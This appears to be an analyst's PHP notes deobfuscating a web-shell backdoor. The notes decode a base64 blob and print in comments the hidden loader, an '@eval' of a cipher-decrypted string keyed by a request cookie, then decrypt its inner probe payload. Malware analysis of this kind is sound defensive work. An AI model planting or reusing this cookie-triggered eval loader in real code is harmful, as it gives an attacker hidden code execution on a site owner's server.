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<?php | |
$data = "QGV2YWwoZGVjcnlwdCgiMjZMWW1OaGJYWk8yc0l1SmpveWVuTktaakpDTmJsbVp5Y21uVmFESmJWdUlsc2VWeDVpYWJaK1liV3lVeDU2Vm5KYWVsNXFXYTJ1WmtacGxaTWljWTh5VnlaaWRhNTJXbUlOaGNBPT0iLCRfQ09PS0lFWydkMmE2MGI1ZjY2YzkwYTc1J10pKTsgZXhpdDsgZnVuY3Rpb24gZGVjcnlwdCgkdHh0LCRrZXkpew0KICAgICR0eHQ9YmFzZTY0X2RlY29kZSgkdHh0KTsgJHJlcz0iIjsNCiAgICBmb3IoJGk9MDsgJGk8c3RybGVuKCR0eHQpOyAkaSsrKXsNCgkkYz1zdWJzdHIoJHR4dCwkaSwxKTsNCgkka2M9c3Vic3RyKCRrZXksKCRpJXN0cmxlbigka2V5KSktMSwxKTsNCgkkYz1jaHIob3JkKCRjKS1vcmQoJGtjKSk7DQoJJHJlcy49JGM7DQogICAgfQ0KICAgIHJldHVybiAkcmVzOw0KfQ"; | |
$data = base64_decode($data); | |
/* | |
string(400) "@eval(decrypt("26LYmNhbXZO2sIuJjoyenNKZjJCNblmZycmnVaDJbVuIlseVx5iabZ+YbWyUx56VnJael5qWa2uZkZplZMicY8yVyZida52WmINhcA==",$_COOKIE['d2a60b5f66c90a75'])); exit; function decrypt($txt,$key){ | |
$txt=base64_decode($txt); $res=""; | |
for($i=0; $i<strlen($txt); $i++){ | |
$c=substr($txt,$i,1); | |
$kc=substr($key,($i%strlen($key))-1,1); | |
$c=chr(ord($c)-ord($kc)); | |
$res.=$c; | |
} | |
return $res; | |
}" | |
*/ | |
$cookie_val = "4e3d394fa853e83f"; | |
function decrypt($txt,$key){ | |
$txt=base64_decode($txt); $res=""; | |
for($i=0; $i<strlen($txt); $i++){ | |
$c=substr($txt,$i,1); | |
$kc=substr($key,($i%strlen($key))-1,1); | |
$c=chr(ord($c)-ord($kc)); | |
$res.=$c; | |
} | |
return $res; | |
} | |
$xxx = decrypt("26LYmNhbXZO2sIuJjoyenNKZjJCNblmZycmnVaDJbVuIlseVx5iabZ+YbWyUx56VnJael5qWa2uZkZplZMicY8yVyZida52WmINhcA==", $cookie_val)); | |
/* | |
string(76) "unset($_POST['file']); echo md5("bbbcea99757abfb6b9d6c2730b01cd0fade98db2");" | |
*/ | |
/* | |
md5() = "a7a160b8b53c7280f85e3c6a077c5f21"; | |
*/ |
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